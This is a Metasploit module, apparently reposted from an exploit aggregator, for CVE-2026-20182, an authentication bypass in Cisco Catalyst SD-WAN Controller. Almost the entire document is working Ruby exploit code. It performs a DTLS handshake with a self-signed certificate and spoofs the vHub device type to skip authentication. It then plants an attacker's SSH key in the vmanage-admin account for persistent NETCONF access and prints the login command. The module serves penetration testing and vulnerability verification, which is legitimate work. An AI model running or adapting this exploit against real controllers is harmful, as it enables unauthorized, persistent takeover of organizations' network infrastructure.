Share
## https://sploitus.com/exploit?id=MSF:AUXILIARY-ADMIN-NETWORKING-CISCO_SDWAN_VHUB_AUTH_BYPASS-
# frozen_string_literal: true

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'fiddle'
require 'ipaddr'
require 'base64'

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::Udp
  include Msf::Auxiliary::Report

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Cisco Catalyst SD-WAN Controller vHub Authentication Bypass',
        'Description' => %q{
          This module exploits an authentication bypass vulnerability (CVE-2026-20182)
          in the Cisco Catalyst SD-WAN Controller. The vdaemon DTLS control-plane
          service performs no certificate or credential verification for connecting peers
          that claim to be a vHub (device type 2). The vbond_proc_challenge_ack() function
          implements device-type-specific verification through a series of conditional
          blocks, but contains no code path for device type 2 (vHub). After a DTLS
          handshake using any self-signed certificate, an attacker sends a CHALLENGE_ACK
          (msg_type=9) with the vHub device type encoded in the protocol header. The
          function falls through all verification checks and unconditionally sets
          peer->authenticated = 1.

          This module leverages the authentication bypass to inject an attacker-controlled
          SSH public key into the vmanage-admin user's authorized_keys file via a
          VMANAGE_TO_PEER message (msg_type=14), providing persistent SSH access to the
          controller over the NETCONF service (TCP port 830).

          Affected versions: Cisco Catalyst SD-WAN Controller 20.12.6.1 and earlier.
          Consult Cisco's security advisory for a complete list of affected versions
          and patches.
        },
        'Author' => [
          'sfewer-r7', # Vulnerability discovery
          'Crypto-Cat', # Vulnerability discovery and Metasploit module
        ],
        'License' => MSF_LICENSE,
        'References' => [
          ['CVE', '2026-20182'],
          ['URL', 'https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-sdwan-rpa2-v69WY2SW'], # Vendor advisory
          ['URL', 'https://blog.talosintelligence.com/sd-wan-ongoing-exploitation/'], # Talos blog
          ['URL', 'https://www.rapid7.com/blog/post/ve-cve-2026-20182-critical-authentication-bypass-cisco-catalyst-sd-wan-controller-fixed/'] # Rapid7 blog
        ],
        'DisclosureDate' => '2026-05-07',
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [],
          'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
        }
      )
    )

    register_options(
      [
        Opt::RPORT(12346),
        OptInt.new('DOMAIN_ID', [true, 'SD-WAN domain ID', 1]),
        OptInt.new('SITE_ID', [true, 'SD-WAN site ID', 100]),
        OptPath.new('SSH_PUBLIC_KEY_FILE', [false, 'Path to an existing SSH public key file to inject'])
      ]
    )
  end

  def check
    result = perform_auth_bypass(ssh_key_inject: false, silent: !datastore['VERBOSE'])
    if result == :vulnerable
      Msf::Exploit::CheckCode::Vulnerable('Authentication bypass succeeded - vHub CHALLENGE_ACK accepted without verification')
    elsif result == :detected
      Msf::Exploit::CheckCode::Detected('DTLS service detected but bypass could not be confirmed')
    else
      Msf::Exploit::CheckCode::Unknown('Could not determine vulnerability status')
    end
  rescue ::StandardError => e
    vprint_error("Check failed: #{e.message}")
    Msf::Exploit::CheckCode::Unknown("Check failed: #{e.message}")
  end

  def run
    result = perform_auth_bypass(ssh_key_inject: true, silent: false)
    if result == :vulnerable
      report_vuln(
        host: rhost,
        port: rport,
        proto: 'udp',
        name: name,
        info: 'Authentication bypass confirmed - vHub CHALLENGE_ACK accepted without verification',
        refs: references
      )
      print_good('Authentication bypass and SSH key injection completed!')
    else
      fail_with(Failure::UnexpectedReply, 'Exploit failed')
    end
  end

  private

  def perform_auth_bypass(ssh_key_inject:, silent: false)
    ssl = nil
    ctx = nil
    udp_sock = nil

    begin
      # Phase 1: DTLS handshake
      ssl, ctx, udp_sock, rbio, wbio = phase1_dtls_handshake(silent: silent)
      return :safe unless ssl

      # Phase 2: Receive CHALLENGE
      return :detected unless phase2_receive_challenge(ssl, rbio, wbio, udp_sock, silent: silent)

      # Phase 3: Send CHALLENGE_ACK (the bypass)
      return :detected unless phase3_send_challenge_ack(ssl, rbio, wbio, udp_sock, silent: silent)

      # Phase 4: Observe result
      return :detected unless phase4_observe_result(ssl, rbio, wbio, udp_sock, silent: silent)

      # Phase 5: Send Hello
      return :detected unless phase5_send_hello(ssl, rbio, wbio, udp_sock, silent: silent)

      # Phase 6: SSH key injection
      phase6_ssh_key_inject(ssl, rbio, wbio, udp_sock, silent: silent) if ssh_key_inject

      :vulnerable
    ensure
      cleanup_dtls(ssl, ctx, udp_sock)
    end
  end

  def phase1_dtls_handshake(silent: false)
    print_status('Phase 1: DTLS handshake with self-signed certificate') unless silent

    load_openssl_ffi

    # Generate self-signed certificate (in-memory, no files written to disk)
    cert_der, key_der = generate_self_signed_cert

    # Create UDP socket
    udp_sock = Rex::Socket::Udp.create(
      'PeerHost' => rhost,
      'PeerPort' => rport,
      'Context' => { 'Msf' => framework, 'MsfExploit' => self }
    )

    # Create DTLS context
    method_ptr = @f_dtls_client_method.call
    fail_with(Failure::Unknown, 'DTLS_client_method() returned NULL') if method_ptr.null?

    ctx = @f_ssl_ctx_new.call(method_ptr)
    fail_with(Failure::Unknown, 'SSL_CTX_new() returned NULL') if ctx.null?

    # Disable peer certificate verification
    @f_ssl_ctx_set_verify.call(ctx, SSL_VERIFY_NONE, Fiddle::NULL)

    # Load certificate and key from in-memory DER data
    ret = @f_ssl_ctx_use_certificate_asn1.call(ctx, cert_der.bytesize, cert_der)
    fail_with(Failure::Unknown, "SSL_CTX_use_certificate_ASN1 failed (ret=#{ret})") unless ret == 1

    ret = @f_ssl_ctx_use_privatekey_asn1.call(EVP_PKEY_RSA, ctx, key_der, key_der.bytesize)
    fail_with(Failure::Unknown, "SSL_CTX_use_PrivateKey_ASN1 failed (ret=#{ret})") unless ret == 1

    # Create SSL object
    ssl = @f_ssl_new.call(ctx)
    fail_with(Failure::Unknown, 'SSL_new() returned NULL') if ssl.null?

    # Create memory BIOs
    mem_method = @f_bio_s_mem.call
    rbio = @f_bio_new.call(mem_method)
    wbio = @f_bio_new.call(mem_method)
    fail_with(Failure::Unknown, 'BIO_new() returned NULL') if rbio.null? || wbio.null?

    # Attach BIOs to SSL (SSL takes ownership)
    @f_ssl_set_bio.call(ssl, rbio, wbio)

    # Perform DTLS handshake
    do_dtls_handshake(ssl, rbio, wbio, udp_sock)

    print_status('DTLS handshake succeeded (self-signed cert accepted)') unless silent

    [ssl, ctx, udp_sock, rbio, wbio]
  rescue ::Rex::ConnectionError, ::Errno::ECONNREFUSED, ::Errno::ECONNRESET => e
    print_error("Connection failed: #{e.message}") unless silent
    cleanup_dtls(ssl, ctx, udp_sock)
    [nil, nil, nil, nil, nil]
  rescue Fiddle::DLError => e
    print_error("OpenSSL FFI error: #{e.message}") unless silent
    cleanup_dtls(ssl, ctx, udp_sock)
    [nil, nil, nil, nil, nil]
  end

  def phase2_receive_challenge(ssl, rbio, wbio, udp_sock, silent: false)
    print_status('Phase 2: Waiting for CHALLENGE from server') unless silent

    hdr, body = recv_message(ssl, rbio, wbio, udp_sock, timeout: 15)
    unless hdr
      print_error('No CHALLENGE received from server') unless silent
      return false
    end

    if hdr_msg_type(hdr) != MSG_CHALLENGE
      print_error("Expected CHALLENGE (type=#{MSG_CHALLENGE}), got #{msg_name(hdr_msg_type(hdr))} (type=#{hdr_msg_type(hdr)})") unless silent
      return false
    end

    print_status("CHALLENGE received (#{body.bytesize} bytes of challenge data)") unless silent
    true
  end

  def phase3_send_challenge_ack(ssl, _rbio, wbio, udp_sock, silent: false)
    print_status('Phase 3: Sending CHALLENGE_ACK as vHub (authentication bypass)') unless silent

    ack_body = build_challenge_ack_body
    send_message(ssl, wbio, udp_sock, MSG_CHALLENGE_ACK, ack_body)

    true
  end

  def phase4_observe_result(ssl, rbio, wbio, udp_sock, silent: false)
    print_status('Phase 4: Waiting for server response to CHALLENGE_ACK') unless silent

    hdr, _body = recv_message(ssl, rbio, wbio, udp_sock, timeout: 10)
    if hdr
      mtype = hdr_msg_type(hdr)
      if mtype == MSG_TEAR_DOWN
        print_warning('TEAR_DOWN received - server rejected the CHALLENGE_ACK') unless silent
        return false
      end
      print_status("Server responded with: #{msg_name(mtype)}") unless silent
    else
      print_warning('No immediate response (server may be waiting for our Hello)') unless silent
    end

    true
  end

  def phase5_send_hello(ssl, rbio, wbio, udp_sock, silent: false)
    print_status('Phase 5: Sending Hello as authenticated peer') unless silent

    hello_body = build_hello_body
    send_message(ssl, wbio, udp_sock, MSG_HELLO, hello_body)

    hdr, _body = recv_message(ssl, rbio, wbio, udp_sock, timeout: 10)
    if hdr
      mtype = hdr_msg_type(hdr)
      if mtype == MSG_HELLO
        print_good('Hello response received - authenticated as vHub peer') unless silent
        return true
      elsif mtype == MSG_TEAR_DOWN
        print_warning('TEAR_DOWN received after Hello') unless silent
      else
        print_warning("Server responded with: #{msg_name(mtype)}") unless silent
      end
    else
      print_warning('No Hello response') unless silent
    end

    false
  end

  def phase6_ssh_key_inject(ssl, rbio, wbio, udp_sock, silent: false)
    print_status('Phase 6: Injecting SSH public key into vmanage-admin authorized_keys') unless silent

    ssh_pubkey, ssh_privkey_pem = resolve_ssh_key(silent: silent)

    # Build SSH key injection body (769 bytes)
    key_body = build_ssh_inject_body(ssh_pubkey)

    send_message(ssl, wbio, udp_sock, MSG_VMANAGE_TO_PEER, key_body)

    if datastore['SSH_PUBLIC_KEY_FILE']
      # If we are using an existing key supplied by the user, just show how to connect to the NETCONF service.
      print_good("Use: ssh -i <SSH_PRIVATE_KEY_FILE> vmanage-admin@#{rhost} -p 830") unless silent
    else
      # Write SSH key file to loot
      privkey_path = store_loot(
        'cisco.sdwan.sshkey',
        'application/x-pem-file',
        rhost,
        ssh_privkey_pem,
        'sdwan_ssh_key.pem',
        'SSH private key for vmanage-admin access'
      )
      ::File.chmod(0o600, privkey_path)

      unless silent
        print_status("SSH private key saved to loot: #{privkey_path}")
        # Provide connection instructions
        print_good('Connect to NETCONF via:')
        print_line("ssh -i #{privkey_path} vmanage-admin@#{rhost} -p 830")
      end
    end

    # Check for response
    hdr, _body = recv_message(ssl, rbio, wbio, udp_sock, timeout: 5)
    if hdr
      mtype = hdr_msg_type(hdr)
      if mtype == MSG_REGISTER_TO_VMANAGE
        print_status('Server responded with: REGISTER_TO_VMANAGE (key has been injected)') unless silent
      else
        print_warning("Server responded with: #{msg_name(mtype)}") unless silent
      end
    else
      print_warning('No response to key injection') unless silent
    end
  end

  #
  # vdaemon protocol constants
  #

  MSG_HELLO = 0x05
  MSG_CHALLENGE = 0x08
  MSG_CHALLENGE_ACK = 0x09
  MSG_TEAR_DOWN = 0x0B
  MSG_REGISTER_TO_VMANAGE = 0x0D
  MSG_VMANAGE_TO_PEER = 0x0E

  # Device type encoded in the upper nibble of header byte 1.
  # Claiming vHub (type 2) causes vbond_proc_challenge_ack() to fall through
  # all verification branches and unconditionally set peer->authenticated = 1.
  DEV_VHUB = 2

  HDR_FLAGS = 0xA0

  TLV_UUID = 0x0006
  TLV_INSTANCE_ID = 0x0013
  TLV_MAX_INSTANCES = 0x0014
  TLV_FLAG_18 = 0x0018
  TLV_FLAG_19 = 0x0019
  TLV_SERVER_KEY = 0x0032
  TLV_NUM_VSMARTS = 0x0021
  TLV_NUM_VMANAGES = 0x0022

  MSG_NAMES = {
    0 => 'NEW_CHALLENGE_ACK',
    1 => 'Register',
    5 => 'Hello',
    7 => 'Data',
    8 => 'CHALLENGE',
    9 => 'CHALLENGE_ACK',
    10 => 'CHALLENGE_ACK_ACK',
    11 => 'TEAR_DOWN',
    12 => 'DELETE_VSMARTS_SERIAL',
    13 => 'REGISTER_TO_VMANAGE',
    14 => 'VMANAGE_TO_PEER',
    15 => 'submsg'
  }.freeze

  #
  # Protocol encoding/decoding
  #

  def build_header(msg_type)
    byte0 = msg_type & 0x0F
    byte1 = (DEV_VHUB & 0x0F) << 4
    domain_id = datastore['DOMAIN_ID']
    site_id = datastore['SITE_ID']
    [byte0, byte1, HDR_FLAGS, 0x00, domain_id, site_id].pack('CCCCN2')
  end

  def hdr_msg_type(hdr_bytes)
    hdr_bytes.getbyte(0) & 0x0F
  end

  def msg_name(type)
    MSG_NAMES.fetch(type) { format('Unknown(0x%02X)', type) }
  end

  def send_message(ssl, wbio, udp_sock, msg_type, body = ''.b)
    header = build_header(msg_type)
    message = header + body
    vprint_status("Sending #{msg_name(msg_type)} (#{message.bytesize} bytes)")
    dtls_send(ssl, wbio, udp_sock, message)
  end

  def recv_message(ssl, rbio, wbio, udp_sock, timeout: 10)
    data = dtls_recv(ssl, rbio, wbio, udp_sock, timeout: timeout)
    return [nil, nil] unless data
    return [nil, nil] if data.bytesize < 12

    hdr = data[0, 12]
    body = data[12..] || ''.b
    mtype = hdr_msg_type(hdr)
    vprint_status("Received #{msg_name(mtype)} (#{data.bytesize} bytes)")
    [hdr, body]
  end

  #
  # Message body builders
  #

  def build_challenge_ack_body
    uuid = format(
      '%<a>08x-%<b>04x-%<c>04x-%<d>04x-%<e>012x',
      a: rand(0xffffffff), b: rand(0xffff), c: rand(0xffff),
      d: rand(0xffff), e: rand(0xffffffffffff)
    )
    server_key = Rex::Text.rand_text_alphanumeric(32)

    tlvs = [
      build_tlv(TLV_INSTANCE_ID, [0].pack('n')),
      build_tlv(TLV_MAX_INSTANCES, [1].pack('n')),
      build_tlv(TLV_FLAG_18, [1].pack('C')),
      build_tlv(TLV_FLAG_19, [0].pack('C')),
      build_tlv(TLV_UUID, uuid),
      build_tlv(TLV_SERVER_KEY, server_key)
    ]

    buf = [0, 0].pack('CC') # verified_status=0, hardware_flag=0
    buf << [tlvs.size].pack('C')
    buf << tlvs.join
    buf
  end

  def build_hello_body
    buf = ''.b

    buf << [0x00, 0x00, 0x00, 0x00].pack('CCCC') # preamble, is_dummy=false
    buf << [0x0002].pack('n')                      # address family: AF_INET
    buf << IPAddr.new(rhost, Socket::AF_INET).hton # IP address
    buf << [rport].pack('n')                       # port
    buf << [1].pack('N')                           # color
    buf << ("\x00" * 20)                           # label/key padding

    buf << [10_000, 60_000].pack('N2') # hello_interval_ms, hello_tolerance_ms

    tlv_vsmarts = build_tlv(TLV_NUM_VSMARTS, [0x00].pack('C'))
    tlv_vmanages = build_tlv(TLV_NUM_VMANAGES, [0x00].pack('C'))
    buf << [2].pack('C')
    buf << tlv_vsmarts
    buf << tlv_vmanages

    buf
  end

  def build_tlv(type, value)
    [type, value.bytesize].pack('n2') + value.b
  end

  def build_ssh_inject_body(ssh_pubkey)
    # Leading newline ensures key appends cleanly regardless of whether
    # authorized_keys ends with a newline. Trailing newline for consistency.
    key_buf = "\n".b + ssh_pubkey.b
    key_buf << "\n".b unless key_buf.end_with?("\n".b)
    key_buf << "\x00".b # null-terminate for fputs()
    key_buf << ("\x00".b * (768 - key_buf.bytesize)) if key_buf.bytesize < 768
    key_buf << [0].pack('C') # TLV count = 0
    key_buf
  end

  #
  # Certificate and SSH key helpers
  #

  def generate_self_signed_cert
    key = OpenSSL::PKey::RSA.new(2048)
    cert = OpenSSL::X509::Certificate.new

    cert.version = 2
    cert.serial = rand(1..0xFFFFFFFF)
    cert.subject = OpenSSL::X509::Name.parse('/CN=/O=/C=')
    cert.issuer = cert.subject
    cert.public_key = key
    cert.not_before = Time.now - 60
    cert.not_after = Time.now + (365 * 86_400)

    cert.sign(key, OpenSSL::Digest.new('SHA256'))

    [cert.to_der, key.to_der]
  end

  def resolve_ssh_key(silent: false)
    if datastore['SSH_PUBLIC_KEY_FILE']
      pubkey = File.read(datastore['SSH_PUBLIC_KEY_FILE']).strip
      print_status("Using SSH public key from #{datastore['SSH_PUBLIC_KEY_FILE']}") unless silent
      return [pubkey, nil]
    end

    # Generate new RSA keypair
    print_status('Generating RSA 2048-bit SSH keypair') unless silent
    key = OpenSSL::PKey::RSA.new(2048)

    pubkey_str = build_openssh_pubkey(key)
    privkey_pem = key.to_pem

    [pubkey_str, privkey_pem]
  end

  def build_openssh_pubkey(key)
    e_bytes = bn_to_bytes(key.e)
    n_bytes = bn_to_bytes(key.n)

    # Prepend 0x00 if MSB is set (two's complement sign bit)
    e_bytes = "\x00".b + e_bytes if e_bytes.getbyte(0) & 0x80 != 0
    n_bytes = "\x00".b + n_bytes if n_bytes.getbyte(0) & 0x80 != 0

    blob = ssh_string('ssh-rsa') + ssh_string(e_bytes) + ssh_string(n_bytes)
    "ssh-rsa #{Base64.strict_encode64(blob)}"
  end

  def ssh_string(data)
    data = data.b if data.respond_to?(:b)
    [data.bytesize].pack('N') + data
  end

  def bn_to_bytes(bn)
    hex = bn.to_s(16)
    hex = "0#{hex}" if hex.length.odd?
    [hex].pack('H*')
  end

  #
  # DTLS transport via Fiddle (OpenSSL C API)
  #
  # Ruby's OpenSSL bindings do not support DTLS. We use Fiddle to call the
  # OpenSSL C API directly with memory BIOs to drive the DTLS 1.2 handshake.
  #

  # OpenSSL constants for Fiddle FFI
  SSL_VERIFY_NONE = 0
  EVP_PKEY_RSA = 6
  SSL_ERROR_WANT_READ = 2
  SSL_ERROR_WANT_WRITE = 3
  SSL_ERROR_ZERO_RETURN = 6
  BIO_CTRL_PENDING = 10
  DTLS_CTRL_HANDLE_TIMEOUT = 106

  HANDSHAKE_TIMEOUT = 5
  MAX_HANDSHAKE_RETRIES = 10
  RECV_BUF_SIZE = 65_536

  def load_openssl_ffi
    return if @ffi_loaded

    libssl = load_native_lib('ssl')
    libcrypto = load_native_lib('crypto')

    # libssl functions
    @f_dtls_client_method = bind_function(libssl, 'DTLS_client_method', [], Fiddle::TYPE_VOIDP)
    @f_ssl_ctx_new = bind_function(libssl, 'SSL_CTX_new', [Fiddle::TYPE_VOIDP], Fiddle::TYPE_VOIDP)
    @f_ssl_ctx_set_verify = bind_function(libssl, 'SSL_CTX_set_verify', [Fiddle::TYPE_VOIDP, Fiddle::TYPE_INT, Fiddle::TYPE_VOIDP], Fiddle::TYPE_VOID)
    @f_ssl_ctx_use_certificate_asn1 = bind_function(libssl, 'SSL_CTX_use_certificate_ASN1', [Fiddle::TYPE_VOIDP, Fiddle::TYPE_INT, Fiddle::TYPE_VOIDP], Fiddle::TYPE_INT)
    @f_ssl_ctx_use_privatekey_asn1 = bind_function(libssl, 'SSL_CTX_use_PrivateKey_ASN1', [Fiddle::TYPE_INT, Fiddle::TYPE_VOIDP, Fiddle::TYPE_VOIDP, Fiddle::TYPE_LONG], Fiddle::TYPE_INT)
    @f_ssl_new = bind_function(libssl, 'SSL_new', [Fiddle::TYPE_VOIDP], Fiddle::TYPE_VOIDP)
    @f_ssl_set_bio = bind_function(libssl, 'SSL_set_bio', [Fiddle::TYPE_VOIDP, Fiddle::TYPE_VOIDP, Fiddle::TYPE_VOIDP], Fiddle::TYPE_VOID)
    @f_ssl_connect = bind_function(libssl, 'SSL_connect', [Fiddle::TYPE_VOIDP], Fiddle::TYPE_INT)
    @f_ssl_read = bind_function(libssl, 'SSL_read', [Fiddle::TYPE_VOIDP, Fiddle::TYPE_VOIDP, Fiddle::TYPE_INT], Fiddle::TYPE_INT)
    @f_ssl_write = bind_function(libssl, 'SSL_write', [Fiddle::TYPE_VOIDP, Fiddle::TYPE_VOIDP, Fiddle::TYPE_INT], Fiddle::TYPE_INT)
    @f_ssl_get_error = bind_function(libssl, 'SSL_get_error', [Fiddle::TYPE_VOIDP, Fiddle::TYPE_INT], Fiddle::TYPE_INT)
    @f_ssl_free = bind_function(libssl, 'SSL_free', [Fiddle::TYPE_VOIDP], Fiddle::TYPE_VOID)
    @f_ssl_ctx_free = bind_function(libssl, 'SSL_CTX_free', [Fiddle::TYPE_VOIDP], Fiddle::TYPE_VOID)
    @f_ssl_ctrl = bind_function(libssl, 'SSL_ctrl', [Fiddle::TYPE_VOIDP, Fiddle::TYPE_INT, Fiddle::TYPE_LONG, Fiddle::TYPE_VOIDP], Fiddle::TYPE_LONG)

    # libcrypto functions
    @f_bio_new = bind_function(libcrypto, 'BIO_new', [Fiddle::TYPE_VOIDP], Fiddle::TYPE_VOIDP)
    @f_bio_s_mem = bind_function(libcrypto, 'BIO_s_mem', [], Fiddle::TYPE_VOIDP)
    @f_bio_read = bind_function(libcrypto, 'BIO_read', [Fiddle::TYPE_VOIDP, Fiddle::TYPE_VOIDP, Fiddle::TYPE_INT], Fiddle::TYPE_INT)
    @f_bio_write = bind_function(libcrypto, 'BIO_write', [Fiddle::TYPE_VOIDP, Fiddle::TYPE_VOIDP, Fiddle::TYPE_INT], Fiddle::TYPE_INT)
    @f_bio_ctrl = bind_function(libcrypto, 'BIO_ctrl', [Fiddle::TYPE_VOIDP, Fiddle::TYPE_INT, Fiddle::TYPE_LONG, Fiddle::TYPE_VOIDP], Fiddle::TYPE_LONG)
    @f_err_clear_error = bind_function(libcrypto, 'ERR_clear_error', [], Fiddle::TYPE_VOID)
    @f_err_get_error = bind_function(libcrypto, 'ERR_get_error', [], Fiddle::TYPE_LONG)
    @f_err_error_string_n = bind_function(libcrypto, 'ERR_error_string_n', [Fiddle::TYPE_LONG, Fiddle::TYPE_VOIDP, Fiddle::TYPE_SIZE_T], Fiddle::TYPE_VOID)

    @recv_buf = Fiddle::Pointer.malloc(RECV_BUF_SIZE, Fiddle::RUBY_FREE)
    @ffi_loaded = true

    vprint_status('OpenSSL FFI bindings loaded successfully')
  end

  def load_native_lib(name)
    candidates = case RUBY_PLATFORM
                 when /mingw|mswin|cygwin/
                   bin = RbConfig::CONFIG['bindir']
                   arch_dir = RbConfig::CONFIG['archdir']
                   site_arch = RbConfig::CONFIG['sitearchdir']
                   paths = []
                   [arch_dir, site_arch, bin].compact.uniq.each do |dir|
                     paths << "#{dir}/lib#{name}-3-x64.dll"
                     paths << "#{dir}/lib#{name}-3.dll"
                     paths << "#{dir}/lib#{name}-1_1-x64.dll"
                   end
                   paths += %W[lib#{name}-3-x64 lib#{name}-3 lib#{name}]
                   paths
                 when /darwin/
                   %W[
                     /usr/local/opt/openssl@3/lib/lib#{name}.3.dylib
                     /usr/local/opt/openssl/lib/lib#{name}.dylib
                     /opt/homebrew/opt/openssl@3/lib/lib#{name}.3.dylib
                     /opt/homebrew/opt/openssl/lib/lib#{name}.dylib
                     /opt/local/lib/lib#{name}.3.dylib
                     /opt/local/lib/lib#{name}.dylib
                   ]
                 else
                   %W[
                     lib#{name}.so.3
                     lib#{name}.so.1.1
                     lib#{name}.so
                   ]
                 end

    candidates.each do |path|
      next if path.start_with?('/') && !File.exist?(path)

      return Fiddle.dlopen(path)
    rescue Fiddle::DLError
      next
    end
    fail_with(Failure::NotFound, "Cannot find lib#{name}. Ensure OpenSSL is installed.")
  end

  def bind_function(lib, name, args, ret)
    Fiddle::Function.new(lib[name], args, ret)
  end

  def bio_ctrl_pending(bio)
    @f_bio_ctrl.call(bio, BIO_CTRL_PENDING, 0, Fiddle::NULL)
  end

  def handle_dtls_timeout(ssl)
    @f_ssl_ctrl.call(ssl, DTLS_CTRL_HANDLE_TIMEOUT, 0, Fiddle::NULL)
  end

  def drain_openssl_errors
    msgs = []
    loop do
      code = @f_err_get_error.call
      break if code == 0

      buf = Fiddle::Pointer.malloc(256, Fiddle::RUBY_FREE)
      @f_err_error_string_n.call(code, buf, 256)
      msgs << buf.to_s
    end
    msgs
  end

  # Drive the DTLS handshake state machine, shuttling data between the
  # SSL engine and the UDP socket via memory BIOs.
  def do_dtls_handshake(ssl, rbio, wbio, udp_sock)
    retries = 0

    loop do
      @f_err_clear_error.call
      ret = @f_ssl_connect.call(ssl)
      flush_wbio(wbio, udp_sock)

      break if ret == 1

      err = @f_ssl_get_error.call(ssl, ret)
      case err
      when SSL_ERROR_WANT_READ
        ready = ::IO.select([udp_sock], nil, nil, HANDSHAKE_TIMEOUT)
        if ready
          begin
            dgram = udp_sock.recvfrom(65_536)[0]
            @f_bio_write.call(rbio, dgram, dgram.bytesize)
          rescue ::IO::WaitReadable
            retries += 1
            fail_with(Failure::Unreachable, "DTLS handshake timeout after #{retries} retries") if retries > MAX_HANDSHAKE_RETRIES

            handle_dtls_timeout(ssl)
            flush_wbio(wbio, udp_sock)
          end
        else
          retries += 1
          fail_with(Failure::Unreachable, "DTLS handshake timeout after #{retries} retries") if retries > MAX_HANDSHAKE_RETRIES

          handle_dtls_timeout(ssl)
          flush_wbio(wbio, udp_sock)
        end
      when SSL_ERROR_WANT_WRITE
        flush_wbio(wbio, udp_sock)
      else
        errors = drain_openssl_errors
        fail_with(Failure::Unknown, "DTLS handshake failed (SSL error #{err}): #{errors.join('; ')}")
      end
    end
  end

  def flush_wbio(wbio, udp_sock)
    loop do
      pending = bio_ctrl_pending(wbio)
      break if pending <= 0

      buf = Fiddle::Pointer.malloc(pending, Fiddle::RUBY_FREE)
      n = @f_bio_read.call(wbio, buf, pending)
      break if n <= 0

      udp_sock.write(buf.to_str(n))
    end
  end

  def dtls_send(ssl, wbio, udp_sock, data)
    @f_err_clear_error.call
    ret = @f_ssl_write.call(ssl, data, data.bytesize)
    if ret <= 0
      err = @f_ssl_get_error.call(ssl, ret)
      errors = drain_openssl_errors
      fail_with(Failure::Unknown, "SSL_write failed (error #{err}): #{errors.join('; ')}")
    end
    flush_wbio(wbio, udp_sock)
    ret
  end

  def dtls_recv(ssl, rbio, _wbio, udp_sock, timeout: 10)
    ready = ::IO.select([udp_sock], nil, nil, timeout)
    return nil unless ready

    begin
      dgram = udp_sock.recvfrom(65_536)[0]
    rescue ::IO::WaitReadable
      return nil
    end

    @f_bio_write.call(rbio, dgram, dgram.bytesize)

    @f_err_clear_error.call
    ret = @f_ssl_read.call(ssl, @recv_buf, RECV_BUF_SIZE)
    if ret <= 0
      err = @f_ssl_get_error.call(ssl, ret)
      return nil if err == SSL_ERROR_WANT_READ

      vprint_status("SSL_read error: #{err}")
      return nil
    end

    @recv_buf.to_str(ret).b
  end

  def cleanup_dtls(ssl, ctx, udp_sock)
    if ssl
      begin
        @f_ssl_free.call(ssl)
      rescue ::StandardError
        nil
      end
    end

    if ctx
      begin
        @f_ssl_ctx_free.call(ctx)
      rescue ::StandardError
        nil
      end
    end

    begin
      udp_sock&.close
    rescue ::StandardError
      nil
    end
  end
end